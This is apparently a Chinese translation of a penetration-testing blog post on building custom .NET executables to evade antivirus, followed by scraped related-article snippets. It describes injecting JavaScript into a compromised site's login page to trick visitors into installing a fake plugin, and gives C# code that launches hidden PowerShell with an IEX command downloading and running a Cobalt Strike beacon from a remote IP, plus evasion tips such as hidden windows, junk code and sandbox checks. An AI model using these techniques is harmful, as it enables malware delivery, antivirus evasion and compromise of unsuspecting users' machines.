在进行渗透测试的过程中,我们有时候会希望使用可执行文件来完成某些任务。最近,我们在测试过程中拿下了一个网站,从而获得了一次发动水坑攻击的机会。

原文地址:https://www.peew.pw/blog/2017/11 … bles-for-pentesters


背景

于是, 我们将JavaScript嵌入网站的登录页面,提醒用户当前的应用程序需要安装一个浏览器插件才能正常使用,然后诱骗用户下载相应的“插件”。最初的时候,我们尝试利用一个HTA文件在用户的系统上执行PowerShell命令,以便建立一个连接我们的服务器(Cobalt

Strike)的C2通道。但由于某种原因,这种方法在我们的目标系统上面无法正常使用。后来,我们在自己的多个系统上对这种攻击方法进行了尝试,结果一切正常,所以我们不知道HTA是被某些东西拦截了,还是引起了用户的怀疑,或者用户被HTA文件给搞糊涂了。不过不用担心,我们只要把HTA换成了一个定制的exe文件,我们的成功率就能超过50%。

然而,exe文件(也称为可移植可执行文件,也就是PE,因为它包含了由Windows运行所需的全部信息)的问题在于,它通常情况下必须写入磁盘,但是这样一来,它就很容易被AV软件发现。我们知道,各种红队工具(从Metasploit到Cobalt

Strike)都能够生成一个通过C2通道反向连接攻击者机器的exe文件。虽然这些文件每个都不尽相同(这样就能确保具有不同的哈希值),但是,它们却很难逃过AV的法眼。

VirusTotal对Cobalt Strike默认的Beacon有效载荷的分析结果。

实际上,有许多工具可以将这些PE文件封装成不同的代码,以使其看起来跟原来不一样,从而逃避各种安全检测,这些工具包括之前非常流行的Veil-Evasion。 尽管Veil为攻击者提供了很多选项,但防御工具也对这种可执行文件封装器的路数了如指掌。

编写定制的PE文件绕过安全检测

事实证明,即使没有非常尖端的工具、先进的加密技术或0-day漏洞利用代码,也照样可以绕过99%的防御性产品。为此,只需要创建一些自定义的东西——那些安全软件从来没有见过的东西。这时候,编写定制的PE文件就派得上用场了。 我们将使用Visual Studio编写一个.NET可执行文件,让它来执行我们需要的命令。

首先,让我们启动Visual Studio并创建一个新项目。这里,我们可以使用“Windows Forms App (.NET Framework)”模板。

在Visual Studio中新建一个项目。

由于只是创建一个可以静默运行的可执行文件(无窗口),所以,我们可以删除Visual Studio创建的“Form1.cs”以及Program.cs中Main函数的内容。 如果你想为恶意软件创建一个更合理的前端视图,你可以保留这个表单,创建更加有用的外观。

删除系统为我们生成的表单后的项目。

接下来,我们将为读者介绍如何通过C#应用程序来启动一个程序。这里,我们将以PowerShell为例进行介绍。

(在以后的文章中,我们将介绍如何直接从C#程序加载代码,而无需启动另一个进程)

这里将使用System.Diagnostics.Process类来设置和启动我们的新进程。同时,这里将powershell.exe设置为我们的进程,并向其传递一个要执行的命令。 在这个例子中,我们会让PowerShell“沉睡”10秒,以便留出足够的时间来观察其中的运作机制。

static void Main()

{

Process process = new Process();

process.StartInfo.FileName = "powershell.exe";

process.StartInfo.Arguments = "-c "Start-Sleep -s 10"";

process.Start();

}

当运行该程序(点击顶部菜单中的“Start”按钮或按F5)的时候,您应该会看到一个PowerShell窗口停留10秒钟,然后关闭。你会注意到,最初的C#进程一旦启动PowerShell,它自己就会马上退出;它不会等待PowerShell进程退出。

为了观察PowerShell进程的行为表现,需要将窗口设置为隐藏状态。为此,可以直接使用ProcessStartInfo类,而不必在PowerShell中使用“-w hidden”参数,因为后一种做法常常会引起安全软件的怀疑。

process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

我们还可以将前面的sleep命令换成一个下载并执行指定有效载荷(例如Cobalt Strike的Beacon)的PowerShell命令。显然,我们需要设置好相应的有效载荷和监听器。

process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""

现在,终于到了exe文件出场的时候了。如果您已经通过了代码的最终版本,那么该exe文件将位于projectnamebinDebugprojectname.exe下的项目文件夹中。 如果你不想在自己的系统上运行有效载荷,你可以选择Build>Build Solution菜单项或者按F6来构建一个新的exe版本,而无需真正执行这个程序。

让我们看看效果到底是如何!

最后的效果

VirusTotal对我们定制的可执行文件的分析结果。

不错!

它看起来一切正常!

通过运行我们的自定义可执行文件获得的Beacon

下一步

很明显,五行自定义代码并不是一个长久的解决方案。我毫不怀疑,其他人也会发现这个方法非常有用,随着使用这种方法的人越来越多,这种方法也会渐渐被AV所察觉。然而,我们自己编写可执行文件的好处是,我们可以自定义程序的核心,并且可以随时随地进行大刀阔斧的修改。毕竟,通过添加无关的函数来隐藏代码是很容易的事情,无论是计算pi还是对列表进行排序的代码,都可以达到同样的效果。

我们也可以通过其他.NET函数来加强我们的程序。例如,如果我们知道目标系统的域名,我们可以在启动PowerShell进程之前检查该域名,以避免陷入沙箱。

很明显,我们在这里仍然调用了PowerShell,所以任何与此相关的日志或警报仍然适用。理想情况下,我们不会调用我们定制的可执行文件之外的任何程序。

下一个重要步骤是将有效载荷的所有内容都放入在可执行文件中。这里需要涉及许多方面,从在本地机器上托管PowerShell代码,到通过命令完成下载和执行,以及将shell代码加载到内存中。

猜你喜欢:利用Python CGIHTTPServer绕过CSRF令牌

手把手教渗透测试人员打造.NET可执行文件的更多相关文章

  1. 专为渗透测试人员设计的 Python 工具大合集

    如果你对漏洞挖掘.逆向工程分析或渗透测试感兴趣的话,我第一个要推荐给你的就是Python编程语言.Python不仅语法简单上手容易,而且它还有大量功能强大的库和程序可供我们使用.在这篇文章中,我们会给 ...

  2. 手把手教你用python打造网易公开课视频下载软件3-对抓取的数据进行处理

    上篇讲到抓取的数据保存到rawhtml变量中,然后通过编码最终保存到html变量当中,那么html变量还会有什么问题吗?当然会有了,例如可能html变量中的保存的抓取的页面源代码可能有些标签没有关闭标 ...

  3. 手把手教你用python打造网易公开课视频下载软件2-编码相关说明

    函数getdownLoadInfo(url)主要实现核心功能:根据url地址,获取课程信息:课程名(courseTitle),课程数目(courseCount),可下载视频数目(videoCount) ...

  4. 手把手教你用python打造网易公开课视频下载软件5-python生成exe程序

    python程序生成exe文件,使用的是py2exe扩展包,下面写下具体的步骤: 第一步:新建conver2exe.py,内容如下: #coding:utf-8 from distutils.core ...

  5. 手把手教你用python打造网易公开课视频下载软件4-图形化界面

    上一篇讲解完函数:def getdownLoadInfo (url): 传入公开课的url地址,就可以提取课程的信息,这一篇讲解一下如何编写图像化界面.大概思考一下图像化界面需要的内容: (1)一个标 ...

  6. 手把手教你用python打造网易公开课视频下载软件1-总述

    写作前面的话:最近准备重温一下算法导论,感谢大网易把MIT算法导论课程全部贴出来,地址为:http://v.163.com/special/opencourse/algorithms.html,在线看 ...

  7. 渗透测试工程师认证 | CISP-PTE证书含金量

    注册渗透测试工程师(CISP-PTE)认证是由中国信息安全测评中心针对攻防专业领域实施的资质培训, 是国内唯一针对网络安全渗透测试专业人才的资格认证,是目前国内最为主流及被业界认可的专业攻防领域的资质 ...

  8. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  9. 全球著名的渗透测试Linux简介

    注:如发现链接无法打开,请尝试代理登录链接 1. Kali Linux Kali Linux是基于Debian的Linux发行版, 设计用于数字取证和渗透测试.由Offensive Security ...

随机推荐

  1. CLR的八大特性

    [CLR的八大特性] Code that you develop with a language compiler that targets the runtime is called managed ...

  2. 如何在eclipse中添加android ADT(转)

    转自: http://jingyan.baidu.com/article/b0b63dbfa9e0a74a4830701e.html 对于程序开发的学者来说,eclipse并不陌生,它为我们提供了一个 ...

  3. 读取指定路径的Properties文件

    1.读取项目内的properties文件,项目内的properties文件一般都放在resource文件夹下面, 通过getClassLoader().getResourceAsStream()来获取 ...

  4. pyqt5 sip 段错误问题

    在我装labelImg工具时,装了pyqt5,而后发现缺少sip模块,又pip安装上后,启动labelImg,报段错误. 经查资料,很容易发现,是pyqt5与sip版本不匹配造成的,具体缘由,可参看: ...

  5. 从iOS 11 UI Kit中谈谈iOS 11的新变化

    北京时间9月20日凌晨1点,iOS 11终于迎来了正式版的推送,相信各位小伙伴已经在第一时间进行了升级.iOS 11毫无疑问是一次大规模的系统更新,UI.系统内核.锁屏等多方面都进行了不同程度的改进. ...

  6. TableLayout 中不显示动态添加的tableRow

    下面的代码不显示: TableRow lay = new TableRow(layIndex.getContext()); lay.setLayoutParams(lpRow); //layIndex ...

  7. git和码云的使用

    什么是码云 快速入门 Git入门 码云是开源中国社区2013年推出的基于 Git 的完全免费的代码托管服务,这个服务是基于 Gitlab 开源软件所开发的,我们在 Gitlab 的基础上做了大量的改进 ...

  8. SVN下的文件被locked不能update和commit

    一次早上开机svn更新代码,提示某一个文件夹被locked,提示clean up,但是clearn up也不行,get lock不行,release lock不行 根据网上搜的,.svn(隐藏文件夹) ...

  9. UVaLive 4128 Steam Roller (多决策最短路)

    题意:给定一个图,r 根横线, c 根竖线.告诉你起点和终点,然后从起点走,每条边有权值,如果是0,就表示无法通行.走的规则是:如果你在下个路要转弯,会使这段路的时间加倍,但是如果一条路同时是这样,那 ...

  10. 团队-Forward-团队一阶段互评

    学号:2015035107105得分:4原因:代码不规范,有一些错误,需要我们的帮助. 学号:2015035107109得分:7原因:与队员沟通少,代码衔接有问题. 学号:2015035107113得 ...